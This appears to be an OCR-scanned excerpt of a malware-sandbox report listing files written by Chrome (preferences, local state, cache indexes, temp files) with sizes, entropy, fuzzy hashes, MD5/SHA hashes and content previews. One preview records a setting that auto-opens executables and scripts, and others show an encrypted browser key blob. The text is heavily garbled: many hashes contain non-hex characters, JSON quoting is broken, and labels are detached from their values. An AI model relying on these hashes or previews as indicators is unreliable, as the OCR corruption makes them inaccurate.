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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

4075

4.906813698167098

false
96:JOXDH+zMr9oBxyXG8szi8XxY5rKIBGZFUKTCjOGcS6rz5E11Ez04/hETAEVD:JOXDH+zMr9oBxyXG8szi8XxY5rKI8gFg
90FB31C19989D56B545C947FD3ACFAA9

FOF309DOEOE9FEFF66EA27C771C1E0446E63BE7B
11E392A371DCADAD3CA1726568310209D41A371B96F2A9B45F2AB98F7A574770
244CDD5F8BE17B08E28B5B26108744D056D92A5AFCE72C8445E19216E09AB3B1807B50E9108446CA02BIC618D90D1F9A81B624FDAD445E527246D372422CBCY
false

low

{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_s
pdy":true} {"isolation":[],"server":"https://ogs.google.com"”,"supports_spdy":true},{"isolation":[],"server":"https://clients2.googleusercontent.com","supports_spdy":true},
{"isolation":[],"server":"https://dns.google”,"supports_spdy":true} {"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{
"advertised_versions":[50],"expiration":"13299544571310072","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvtl.com"}{"alternative_service":

[{"advertised_versions":[50],"expiration":"13299544571332829","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://accounts.google.com","supports_spdy":true},
{"alternative_service":[{"advertised_versions":[50],"expiration":"13299544571524904","port":443,"protocol_str":"quic"},{"advertised_ve

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5219

4.980349627134532

false

96:nBroLn1pSKIKIkOJCKL8Ck611rbOTQVuwn:nBrk1pSOC4K3k6P
DDBF302FC1CFAAA9E07133D67CFC2792
C201EC602739BEDE62932E1115D381E7F5F91EOE
CC7F4C669ECED16DC76020719ECBAG0C72B32AAEB40D483561F9EOBECIFCC5B0

CB80EA65CD95C4696A24ADES93F22712E96FF98879A019F48E9974BAASA5BEGDC699383CDC5476A8B74FF545D8EA3F3838FD081108F2CFDB4COEEA4FO0DB22E
A6

false
low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete”:{"retention_policy_last_version":85},"autofill":{*orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group™:*","should_reset_check_default_browser":false,"window_pl
acement”:{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co
untryid_at_install":21843,"data_reduction":{"daily_original_length™:["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0"
,"o","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1538886"],"daily_received_length™:["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Program Files\Google\Chrome\Application\chrome.exe

UTF-8 Unicode text, with very long lines, with no line terminators

dropped

17703

5.577477076516089

false

384:bw6tILI21XZ1kXKf/pUZNCgVLH2HfD7rUD+6x4j:KLIgZ 1kXqKf/pUZNCgVLH2HfXrUjxU
93FF3090E883B4816ADF3B6294147CB6
31C7DA144D0C9DICAB3164C45E101AA93E15D825
10DCDD4909249BEASEAC5FC791408DC2B3E9C926B075B7469AD062325BA29127
8207CA33DC734A6646B7B608D403CD275A05EFBC7632E26422D121826948D40C265124D5A04E973AABF5AB8D07A931921B1CAOEG59EF7B72AEC85FE78B4606F
false

low
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Preview: {"download":{"always_open_pdf_externally":true,"directory_upgrade":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xIsx:xIsxm:xlsm:ppt:pptx:pptxm:pptm:mh
trtf:pub:vsd:mpp:mdb:dot:dotm:xiIsh:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso: 7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:1z"},"extensions":{"settings":{"ahfgeienlihck
ogmohjhadlkjgocpleb™{"active_permissions":{"api":['management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network

"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events"[],"from_bookmark":false,"from_webstore":false,"i

ncognito_content_settings":[],"incognito_preferences":{},"install_time":"13296952567541749","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.

google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":

{"128":"webstore_i

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\d

4ba8ec2-e96c-4bb1-ac07-f44c50f47a35\index

Process: C:\Program Files\Google\Chrome\Application\chrome.exe

File Type: 1SO-8859 text, with no line terminators, with escape sequences
Category: dropped

Size (bytes): 24

Entropy (8bit):  2.1431558784658327

Encrypted: false

SSDEEP: 3:m+l:m

MDS5: 54CB446F628B2EA4ASBCES769910512E

SHAL: C27CAB48427FE87F5CF4DOEOE3CD57151B0D820D

SHA-256: FBCFE23A2ECB82B7100C50811691DDEOA33AA3DA8D176BE9882A9DB485DCOF2D

SHA-512: 8F6ED2E91AED9BD415789B1DBES91E7EAB29F3F1B48FDFASE864D7BF4AES54ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123C
BO

Malicious: false

Reputation: low

Preview:

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\d

4ba8ec2-e96¢c-4bb1-ac07-f44c50f47a35\index-dir\temp-index

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 48

Entropy (8bit):  2.955557653394731

Encrypted: false

SSDEEP: 3:A/QpPOEsH/2n:A/8mun

MD5: 1337C334072CD081852A289E8731B34F

SHA1L: 388E17A204880EDF65D594386F08793D0B919471

SHA-256: 0EF96A2875E43A6FDC665CC57D4A1EFAO05BD0OCB2116441319804E05374A5D26E

SHA-512: 6F90DB3FOF3E80DB711D07795A011EAAA75E2461D375980994721F4AE803D229F074D3E5C035BD90DDA187C98D0C6C2EC258CBAD289D7EB39824C97B64D7BE
E7

Malicious: false

Reputation: low

Preview: (....Z. 4oy retne.......ccceevveienennne. "=l

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\d

4baBec2-e96¢c-4bb1-ac07-f44c50f47a35\index-dir\the-real-index (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: data

Category: dropped

Size (bytes): 48

Entropy (8bit):  2.955557653394731

Encrypted: false

SSDEEP: 3:A/QpOEsH/2n:A/8mun

MD5: 1337C334072CD081852A289E8731B34F

SHAL: 388E17A204880EDF65D594386F08793D0B919471

SHA-256: OEF96A2875E43A6FDC665CC57D4A1EFA05BDOCB2116441319804E05374A5D26E

SHA-512: 6F90DB3FOF3E80DB711D07795A011EAAA75E2461D375980994721FAAE803D229F074D3E5C035BDI0DDA187C98D0C6C2EC258CBAD289D7EB39824C97B64D7BE
E7

Malicious: false

Reputation: low
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Preview:

(-2 A0y TEINE ... "=

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\i

ndex.txt (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

26

3.921029621737615

false

3:PySLUXGTKn:ZLUXGG

2892EEE3E20E19A9BA77BE6913508A54
7CA4EF82FAA28393C739C517D706AC6919A8FFC49
4F110831BB434C728A6895190323D159DF6D531BESC4BB7109864EEB7C989FF2
B13A336DB33299AB3405E13811E3EDIES5A18542E5D835F2B7130A6FF4C22F74272002FC43E7D9F94AC3AA6A4D53518F87F25D90C29E0D286B6470667EA9336AE
false

low

..https://www.youtube.com/

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Service Worker\CacheStorage\379f1cbab5b08b6fc9e08681e42d8be311441c88\i

ndex.txt.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

26

3.921029621737615

false

3:PySLUXGTKn:ZLUXGG

2892EEE3E20E19A9BA77BE6913508A54
7CAEF82FAA28393C739C517D706AC6919A8FFC49
4F110831BB434C728A6895190323D159DF6D531BESC4BB7109864EEB7C989FF2
B13A336DB33299AB3405E13811E3ED9ESA18542E5D835F2B7130A6FF4C22F74272002FC43E7DI9F94AC3AAG6A4D53518F87F25D90C29E0D286B6470667EA9336AE
false

low

..https://www.youtube.com/

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\52fe82a7-3126-4bc8-959a-

9¢81d00e7d40.

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

tmp

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

325

4.956993026220225

false
6:YHpoNXR8+eq7JdV5rAcJksDHFAR8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdVAsBdLJIlyH7E4f3K33y
0C03D530AC97788D62D27B2802C34D83

20F78B6B32D98FA52846C70DF78E4ES5CEF663E2D
7941FADA9867DAAEOSEBC196BAFC6952DD506842C3E7D8FB14DF9D4E402D894B
D5905C124060997A14322D12DECE5C00C63F7174743C740C974D00E88B03F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80
false

low

ation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"4G","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1

Process:

File Type:

C:\Program Files\Google\Chrome\Application\chrome.exe

data
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Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

dropped

270336

0.0012471779557650352

false

3:MsEIlIKEthXIIkI2zE:/M/XT02z

F50F89A0A91564D0B8A211F8921AA7DE
112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
B1E963D702392FB7224786E7D56D43973E9BIEFD1B89C17814D7C558FFCOCDEC

BF8CDA48CF1EC4E73FODD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6EOAACF35A9EDE7A2E8898
D58

false

low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State

(copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

325

4.956993026220225

false
6:YHpoNXR8+eq7JdV5rAcJksDHFAR8HLI2AVQBR70S7PMVKJIW1K3KNMRK3VY:YHO8sdVAsBdLJIlyH7E4f3K33y
0C03D530AC97788D62D27B2802C34D83

20F78B6B32D98FA52846C70DF78E4E5CEF663E2D
7941FADA9867DAAEOBEBC196BAFC6952DD506842C3E7D8FB14DFID4E402D894B
D5905C124060997A14322D12DECE5C00C63F7174743C740C974D0O0E88B0O3F203909CC2AC972B2759E8087B0B10F6306C6E66BF853319B5AC96907F34C8456C80
false

low

{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248542588505091","port":443,"protocol_str":"quic"}],"isol
ation™:[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABIAgICA+P////8B":"4G","CAESABIAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\TransportSecurity (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

203

5.370391168027159

false

6:YAQNC|VEIRFSHIR8WXWIMUUANIMp5IPZHT2SQ:YOE9RAJ9+UANI2PZHVQ
C8A422A838C78428943596DCAF498532
9455955AF11229E9AC79441B6703DA88574C6730
A79D449CECE7E82B5C8842C7F21D0406A76E0631584A0E3D25090F2FDFCA1867

BB9B3C9E21E1076299E14CA9FF16D819B2A6FBI6D520B99AE34798FF1CBB220A3ESD5F3BACIFD66CO8F6CA2EBIAB606EDS5453179F5695BD3C6648ED326D6BE
C1

false
low

{"expect_ct":[],"sts":[{"expiry":1684015036.314618,"host":"M4bfUnCmQAi4PNb3B8al/2+SVIhHKsM{MMT7{zi6ij4=","mode":"force-https","sts_include_subdomains"
‘true,"sts_observed":1652479036.314624}],"version":2}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\abe7ac74-2097-4dca-9c5b-0730d5dcdc20.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):

Encrypted:

C:\Program Files\Google\Chrome\Application\chrome.exe
ASCII text, with very long lines, with no line terminators
dropped

2693

4.871599185186076

false
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SSDEEP: 48:YXs2MHRzsoMHT5s0MHyKsTMHksrDys4Csb7synWsQItFsym6zs6zMHWLSZMH5YhV:+GDGTHGmMGHDW1/nOlbmOGIGGhVD

MDS5: 829D5654ADF098AD43036E24C47F2A94

SHA1L: 506C8BA397509BA0357787950C538C1879047DF3

SHA-256: 4D0B852D18FCA5C1A712904CF6DB3811FBI0SE86D8A7508A2D42F9C8D68E2211

SHA-512: D9B18E6BOAD1ESE4BECFIE84BBE30D64730CFEC2CBEAFI6D5DF52E28B907B03EADF22F020FBEOAS6D137A52F4F09798031BC6CA026CFABA979A608B3445DE
CAA

Malicious: false

Reputation: low

Preview: {"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600883925","port":443,"protocol_str":"quic"}],"isolation":

[1,"network_stats":{"srtt":40156},"serve ttps://www.googleapis.com”,"supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"1324854
2628822803","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":30856},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{
"advertised_versions":[],"expiration":"13248542600893104","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":25300},"server":"https://clients2.goog

leusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248542600872791","port":443,"protocol_str":"quic"}],"isolation":

[1,"network_stats":{"srtt":34789},"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"exp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ac862101-93f3-4813-a542-3573b0e756e4.tmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text, with no line terminators

Category: dropped

Size (bytes): 203

Entropy (8bit):  5.370391168027159

Encrypted: false

SSDEEP: 6:YAQNCjVEIRFSHIR8WXWIMUUANIMp5IPZHT2SQ:YOE9RAJ9I+UANI2PZHVQ

MD5: C8A422A838C78428943596DCAF498532

SHAL: 9455955AF11229E9AC79441B6703DA88574C6730

SHA-256: A79D449CECE7E82B5C8842C7F21D0406A76E0631584A0E3D25090F2FDFCA1867

SHA-512: BBIB3C9E21E1076299E14CA9FF16D819B2A6FBI6D520BI9AE34798FF1CBB220A3ESD5F3BACIFD66CO8F6CA2EBIABG06ED5453179F5695BD3C6648ED326D6BE
C1

Malicious: false

Reputation: low

Preview: {"expect_ct"[],"sts":[{"expiry":1684015036.314618,"host":"M4bfUnCmQAIi4PNb3B8al/2+SVIhHKsMfMMT7{zi6ij4=","mode":"force-https","sts_include_subdomains"

‘true,"sts_observed":1652479036.314624}],"version":2}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit):  3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//RV:1qIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHA1L: 58ECF154D01A62233ED7FB494ACE3C3D4FFCEO8B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD

SHA-512: 9CFD838D3FB570B44FC3461623AB2296123404C6C8F576BODEOAABDI9AG020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EESB77D6DF7C344A0AA030E0
89

Malicious: false

Reputation: low

Preview: MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)

Process: C:\Program Files\Google\Chrome\Application\chrome.exe
File Type: ASCII text

Category: dropped

Size (bytes): 16

Entropy (8bit): 3.2743974703476995

Encrypted: false

SSDEEP: 3:1sjgWIV//Rv:1qgIFJ

MD5: 6752A1D65B201C13B62EA44016EB221F

SHAL: 58ECF154D01A62233ED7FB494ACE3C3D4FFCEO8B

SHA-256: 0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
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SHA-512:

Malicious:
Reputation:

Preview:

9CFD838D3FB570B44FC3461623AB2296123404C6C8F576BODEOAABD9AG020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EESB77D6DF7C344A0AA030E0
89

false
low

MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e6c4ed13-43e1-43dc-9951-0451a94d7e08.tmp

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

very short file (no magic)

dropped

1

0.0

false

3:LiL

5058F1AF8388633F609CADB75A75DC9D
3A52CE780950D4D969792A2559CD519D7EE8CT727
CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0O336FC02A82E1839A8

0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CCO9EBC2A07E61F007BAF58FBF94FF9A8695BDD5SCAE7CEO3BBF1E94E93613A00F2
5F21

false

low

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ed2919c3-b4bf-40c5-895d-ea555a212203.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

5128

4.972706089138501

false

96:nBr5cn1pSKI9Ik0ICKL8Ck611EDOTQVuUwN:NBrs1pShC4K3k6+
7C5268E2911A35D56FBICIDBEOFB3273
AE7C65792B69F33D2386DA477B9E8199E213BEFD
E1CFBCODO58EE5638B43A708B16A345CB2E2A17A1822FC561A682DF2CED133C8
C20D0B4F05D585D9F8022D1F2106008F253B83640517C529909950ACEABA7F8C5555CCF7AEC5BDF78B7028FD106560D90FB3193FBB13DBB16759151D2C3AE4S
false

low

{"account_id_migration_state":2,"account_tracker_service_last_update":"13296952568430457","alternate_error_pages":{"backup":true},"announcement_notification_ser
vice_first_run_time":"13245950583260338","autocomplete”:{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser
_infobar_last_declined":"13245950640095768","has_seen_welcome_page":true,"navi_onboard_group™:"","should_reset_check_default_browser":false,"window_pl
acement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"co

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

106

3.138546519832722

false

3:tblolIrJ51dQxI7aXVdJiG6RORIAL:tbdirnQxZaHIGiIOR6|
DE9EFOC5BCCO012A3A1131988DEE272D8
FA9CCBDC969AC9E1474FCE773234B28D50951CD8
3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590

CEA946EBEADFE6BEG5E33EDFF6C68953A84EC2E2410884E12F406CAC1E6C8A0793180433A7EF7CE097B24EA78A1FDBB4E3B3D9CDF1A827AB6FF5605DA3691
724

false
low

C..\.P.r.o.gram. .F.iles\G.o.0.gle\Chromel\Ap.p.licatio.n\chrom.e..ex.e.
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with no line terminators

dropped

13

2.8150724101159437

false

3:YX7:4

C422F72BA41F662A919EDOB70E5C3289
AAD27C14B27F56B6E7C744A8EC5B1A7D767D7632
02E71EB4C587FEB7EEO0CE8600F97411C2774C2FC34CB95B92D5538E7F30DA59
86010ED2B2EEBDCC5A8A076B37703669C294C6D1BFAAEA963E26A9C94B81B4C53EC765D9425E5B616159C43923F800A891F9B903659575DF02F8845521F8DC4
false

low

85.0.4183.121

C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

398794

6.026230420381734

false

12288:Uysh3XSJShixzurRDnInfNxF4ijZVtiIBW:rshnAUOORzxxPjjt8W
8EB3486234C75F01228AEA7TE8FD42942
D16F6EDD114C762AA2589E5D68E9AE182044008A
A5539991CF920BAC87640F7A0F16AC13C2CD96B5F963113BD109140EA84C3916
177463248FF17E56C3B6ECA457F6A1882C9741B22EESDEEBD3DE48975AC705243E6BF1A3232F1B001893D7F76E9D305C7F1B6933575AA05BB8FICC6712485F891
false

low

{"browser":{"last_redirect_origin":"","shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"int":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local*:1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"0s_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]ByxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABGAAAAAAGAAIAAAADIPMFiGkWkdrfU+zeMpOLPS1eDxLpcgjYP2R/ndeCNXMAAAAK+RpovfPE INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBIKtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJIG9lsuMexxChB4AM8HFpybOBpréaxpi+zmMIXt76noTOxFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13291230469086205"},"plugins":{"metadata":{"adobe-flash-player":{"disp

C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

data

dropped

95428

3.7441142978844155

false

384:dHfCskU2Z32NaMVRjAXNsrOvoU3HE+/HazGTGrxGImxXqOKRrdAmJIVXV2ksI30Wn:h6GZpG+A7seHKEWY 3vagK6M8Nb
DA767F86940400A146864955F77736C7

6C4CF159CB42FC841E72612B3285964C897851BB
4A3F296BDE7C909DBFDCEB5D0652BF50AEA6BD6EB218F5B960216A4960A78FDB

459974D8BBD1B1B092D3B71F34F9FC29604903B061DAEE60F9507C120978D739F1B2CC8504AC858A15EE3B30C7DB8089308D59BFC79BCA7B8F7DFA85243672¢
D

false
low

dovvien*.CLVP.R.O.G.RA~1\M.IC.R.O.S.~1\.0ffice.l.6\G.RO.0.V.EEX..D.L.L.P.L.)..%.p.ro.gramfiles.%.)\m..c.r.o.s.0ft .offic.elo.ffice
.1.6.\.....g.r.o.ov.eex.dll..Micros.o.ft .Office. .2.0.1.6..*.Micr.os.o.ft .O.n.eD.r.iv.e. for. B.us.ines.s. .Exte.ns.ions...16..0..47.1.1..1.0
.0.0....*...C.\.P.R.O.G.RA~1\MIC.R.O.S.~1\.0.ffic.el6\GRO.O.V.EEX.D.LL..M.icros.o.ft .Corp.ora.tio.n..\8.D..C.:\P.ro.gram. .F.iles\C.o
.m.m.o.n. .F.iles\M..c.r.os.0ft .S.hared\O.F.FICE.1l6\ms.0os.hext.dl.@...U/..%.comm.o.np.ro.gramfiles.%.\m.ic.ro.s.o.ft .share.d\o.f
fice.l6.\...msos.hext.dll..M.icros.oft O.ffic.e.)..Micros.oft Office. .Shell Extens.io.n. Handlers....16..0..4.26.6..1.0.0.1...D..C
2\P.ro.g.ram.

C:\Users\user\AppData\Local\Google\Chrome\User Data\a58a558b-70bd-4711-96f0-252ec7bf8688.tmp

Process:

C:\Program Files\Google\Chrome\Application\chrome.exe
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File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

ASCII text, with very long lines, with no line terminators

dropped

395228

6.014489233908272

false

12288:/sh3XSJShixzurRDn9nfNxF4ijZVtilBW:/shnAUOORzxxPjjt8W
DAE1297D8C09AFC6CDA637B8A5FI5F70
43567F2B6F6A183FEOA96D62AFAE73C5F34E477B
554B013C7A9E2EF0254A2727B50295B4FCFB08D4A26F324526E24CB7ALFAEFCS
99190688D7180914F660533453588BA7CD0103A52E93BEC2268356F83BCDE19B34059D760442F1C96AF7369D1125E4D9B566552F8F9012D5E423C8CD74C3EEC3
false

low

{"browser":{"last_redirect_origin" shortcut_migration_version":"85.0.4183.121"},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":
{}},"user":{"background":{},"foreground":{}}}},"hardware_acceleration_mode_previous":true,"intl":{"app_locale":"en"},"legacy":{"profile":{"name":{"migrated":true}}},"ne
twork_time":{"network_time_mapping":{"local":1.652478970076093e+12,"network":1.652446571e+12,"ticks":204027670.0,"uncertainty":3890124.0}},"0s_crypt":{"encrypte
d_key":"RFBBUEKBAAAAOlyd3wEVORGMegDAT8KX6WEAAABUPWY 4cSyAQZRX3j8/SLMMAAAAAAIAAAAAABBMAAAAAQAAIAAAACCTIWC]BYxIY/Ds1S6cdCxJ
W6iSr1QfjoKIVKoVEQ4EAAAAAABAAAAAAGAAIAAAADIPMFiIGKWkdrfU+zeMpOLPS1eDxLpcgjYP2R/nde CNXMAAAAK+RpovfP6 INtBSnOpQgPMjPTyt2TIWP
eru9i3yP05zNVEjOuCRDWfONruG9ricX1kAAAADBI9KtQIKY2z38GdfaF7dW2ZLcAMHOX20EKBg8ZJG9lsuMexxChB4M8HFpyb0Bpréaxpi+zmMIXt76noTOxFzKN"},"pa
ssword_manager":{"os_password_blank":true,"os_password_last_changed":"13245950075265799"},"policy":{"last_statistics_update":"13296952567194

C:\Users\user\AppData\Local\Google\Chrome\User Data\ee7a6c22-fe5b-468f-a37c-670d5476b28f.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Program Files\Google\Chrome\Application\chrome.exe

ASCII text, with very long lines, with no line terminators

dropped

395228

6.014489233908272

false

12288:/sh3XSJShixzurRDn9InfNxF4ijZVtiIBW:/shnAUOORzxxPjjt8W
DAE1297D8C09AFC6CDA637B8A5FI5F70
